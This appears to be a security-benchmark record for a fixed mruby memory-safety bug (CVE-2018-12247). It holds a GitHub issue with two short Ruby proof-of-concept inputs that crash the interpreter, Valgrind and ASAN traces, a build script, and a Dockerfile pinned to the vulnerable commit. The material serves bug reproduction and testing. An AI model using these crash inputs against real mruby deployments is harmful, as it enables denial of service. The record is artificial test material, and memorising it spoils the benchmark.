Project: mruby (mruby/mruby), language: c++
Vulnerability instance: mruby.cve-2018-12247
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/mruby/mruby/issues/4036
## Description:
Issue: mruby/mruby#4036
Title: Null pointer dereference in mrb_class
State: closed
Created by: clayton-shopify
Created at: 2018-06-05 19:02:11+00:00

Issue Body:
The following input demonstrates a crash:
```ruby
h = {}
a = []
200.times do |n|
a[0] = n
h[a] = 0
puts h.to_a.clone
end
```
Note that I was only able to reproduce this issue when building mruby on a 32-bit Linux system. (I used Ubuntu 16.04 for testing.) I could not reproduce on 64-bit Linux or 64-bit macOS.

Valgrind report:
```
==21910== Memcheck, a memory error detector
==21910== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==21910== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==21910== Command: bin/mruby 360807.rb
==21910==
==21910== Invalid read of size 4
==21910==    at 0x804F43A: mrb_class (class.h:52)
==21910==    by 0x8053B81: mrb_vm_exec (vm.c:1428)
==21910==    by 0x8051E01: mrb_vm_run (vm.c:950)
==21910==    by 0x805B2ED: mrb_top_run (vm.c:3005)
==21910==    by 0x807C9EB: mrb_load_exec (parse.y:5835)
==21910==    by 0x807CA9C: mrb_load_file_cxt (parse.y:5844)
==21910==    by 0x804A40A: main (mruby.c:279)
==21910==  Address 0x5 is not stack'd, malloc'd or (recently) free'd
==21910==
==21910==
==21910== Process terminating with default action of signal 11 (SIGSEGV)
==21910==  Access not within mapped region at address 0x5
==21910==    at 0x804F43A: mrb_class (class.h:52)
==21910==    by 0x8053B81: mrb_vm_exec (vm.c:1428)
==21910==    by 0x8051E01: mrb_vm_run (vm.c:950)
==21910==    by 0x805B2ED: mrb_top_run (vm.c:3005)
==21910==    by 0x807C9EB: mrb_load_exec (parse.y:5835)
==21910==    by 0x807CA9C: mrb_load_file_cxt (parse.y:5844)
==21910==    by 0x804A40A: main (mruby.c:279)
==21910==  If you believe this happened as a result of a stack
==21910==  overflow in your program's main thread (unlikely but
==21910==  possible), you can try to increase the size of the
==21910==  main thread stack using the --main-stacksize= flag.
==21910==  The main thread stack size used in this run was 8388608.
==21910==
==21910== HEAP SUMMARY:
==21910==     in use at exit: 258,317 bytes in 5,395 blocks
==21910==   total heap usage: 5,515 allocs, 120 frees, 397,673 bytes allocated
==21910==
==21910== LEAK SUMMARY:
==21910==    definitely lost: 0 bytes in 0 blocks
==21910==    indirectly lost: 0 bytes in 0 blocks
==21910==      possibly lost: 0 bytes in 0 blocks
==21910==    still reachable: 258,317 bytes in 5,395 blocks
==21910==         suppressed: 0 bytes in 0 blocks
==21910== Rerun with --leak-check=full to see details of leaked memory
==21910==
==21910== For counts of detected and suppressed errors, rerun with: -v
==21910== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault (core dumped)
```
This issue was reported by https://hackerone.com/flamezzz


Comments:
Comment by clayton-shopify on 2018-06-05 19:07:17+00:00:
A bisect suggests that the problem began in f408143c289b8017883294f13d36d43b50c8bc5d.

---

Comment by clayton-shopify on 2018-06-05 19:52:21+00:00:
This issue was reported by Daniel Teuchert, Cornelius Aschermann, Tommaso Frassetto and Tigist Abera (https://hackerone.com/pnoltof) found an additional input that also began crashing in f408143c289b8017883294f13d36d43b50c8bc5d:
```ruby
IndexError.clone.to_s.clone
```
This input produces a crash on 64-bit macOS. ASAN report:
```
ASAN:DEADLYSIGNAL
=================================================================
==35404==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000105bcca74 bp 0x7ffeea4d0dd0 sp 0x7ffeea4d0da0 T0)
==35404==The signal is caused by a READ memory access.
==35404==Hint: address points to the zero page.
    #0 0x105bcca73 in __asan::Allocator::Deallocate(void*, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType) (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x2a73)
    #1 0x105c210a7 in wrap_free (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x570a7)
    #2 0x1057b7adb in mrb_default_allocf state.c:51
    #3 0x1058cfd19 in mrb_free gc.c:274
    #4 0x105806ee2 in mrb_gc_free_str string.c:211
    #5 0x1058d0dbe in obj_free gc.c:816
    #6 0x1058d047a in free_heap gc.c:391
    #7 0x1058d122c in mrb_gc_destroy gc.c:400
    #8 0x1057b9fa7 in mrb_close state.c:263
    #9 0x10573182c in cleanup mruby.c:199
    #10 0x10572fc23 in main mruby.c:303
    #11 0x7fff76f6d014 in start (libdyld.dylib:x86_64+0x1014)

==35404==Register values:
rax = 0x0000000000000002  rbx = 0x003e303265303030  rcx = 0x00007ffeea4d0d03  rdx = 0x0000000000000000
rdi = 0x003e303265303030  rsi = 0x003e303265303030  rbp = 0x00007ffeea4d0dd0  rsp = 0x00007ffeea4d0da0
 r8 = 0x0000000000000001   r9 = 0x000000000000001e  r10 = 0xffffffffffffffff  r11 = 0x00000fffffffffff
r12 = 0x0000000000000000  r13 = 0x0000000000000001  r14 = 0x00007ffeea4d0df8  r15 = 0x0000000105c66600
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x2a73) in __asan::Allocator::Deallocate(void*, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType)
==35404==ABORTING
Abort trap: 6
```
It seems likely the root cause is the same given that both inputs started producing a crash as of the same commit.

Commit References:
f408143c289b8017883294f13d36d43b50c8bc5d

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
export LD=clang
export LDFLAGS="$CFLAGS"
./minirake clean && ./minirake -j$(nproc) all

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool ruby bison
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout cfd0c93d7d9dad13e6677beb7b7bd822a7572f8d
WORKDIR $SRC/mruby
COPY build.sh $SRC/

Additional files: